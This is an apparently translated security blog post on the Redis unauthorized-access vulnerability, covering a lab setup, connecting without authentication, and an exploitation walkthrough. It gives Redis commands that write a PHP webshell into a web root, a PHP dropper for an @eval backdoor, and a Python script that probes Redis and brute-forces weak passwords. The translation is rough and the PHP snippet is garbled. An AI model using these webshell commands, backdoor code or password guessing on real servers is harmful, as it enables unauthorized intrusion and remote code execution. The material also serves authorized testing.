Redis Unauthorized Access Vulnerability (Python script included)

0X01 Environment Construction

#Download and install
cd / tmp
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xzf redis-2.8.17.tar.gz
cd redis-2.8.17
make
#Start redis service
cd src
./redis-server

Once the Redis service process is started, you can use the test client program REDIS-CLI to interact with the Redis service. Like what:

[email protected]:/tmp/redis-2.8.17/src# ./redis-cli -h 192.168.125.140
192.168.125.140:6379> ping
PONG
192.168.125.140:6379>

0x02 Unauthorized Access Vulnerability test

Successfully log in to Redis using a Redis client without a direct account:

The Redis service is open to the public and does not have authentication enabled from the login results.

Write Webshell with Redis

Usage Prerequisites:

1.redis not authorized to redis-cli the connection

2. Open the Web and know the path (e.g. using phpinfo)

We can set Dir to a directory A, and dbfilename to file name B, then save or bgsave, we can write an arbitrary file with A/b path:

 
config set dir /home/wwwroot/default/
config set dbfilename redis.php
set webshell "<?php phpinfo(); ?>"
save

When the database is too large, Redis writes the shell tip:

Set_time_limit (0);
$fp =fopen ('wtf.php','w');
Fwrite ($fp,'<?php @eval ($_post[\ "mmbns233\"]);? >');
Exit ();
?>

0x03 Pyhton Script Automation test

Can be used to test for the presence of an unauthorized or weak password

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import socket
PASSWORD_DIC=[‘redis‘,‘root‘,‘oracle‘,‘password‘,‘[email protected]‘,‘abc123!‘,‘123456‘,‘admin‘]
def check(ip, port, timeout):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("INFO\r\n")
        result = s.recv(1024)
        if "redis_version" in result:
            return u"未授权访问"
        elif "Authentication" in result:
            for pass_ in PASSWORD_DIC:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip, int(port)))
                s.send("AUTH %s\r\n" %(pass_))
                result = s.recv(1024)
                if ‘+OK‘ in result:
                    return u"存在弱口令，密码：%s" % (pass_)
    except Exception, e:
        pass

print check("192.168.125.140", "6379", timeout=10)

Reference article:

Redis installation http://www.runoob.com/redis/redis-install.html

Redis Unauthorized Access Vulnerability Http://blog.csdn.net/Hu_wen/article/details/55189777?locationNum=15&fps=1

Redis Unauthorized Access Vulnerability (Python script included)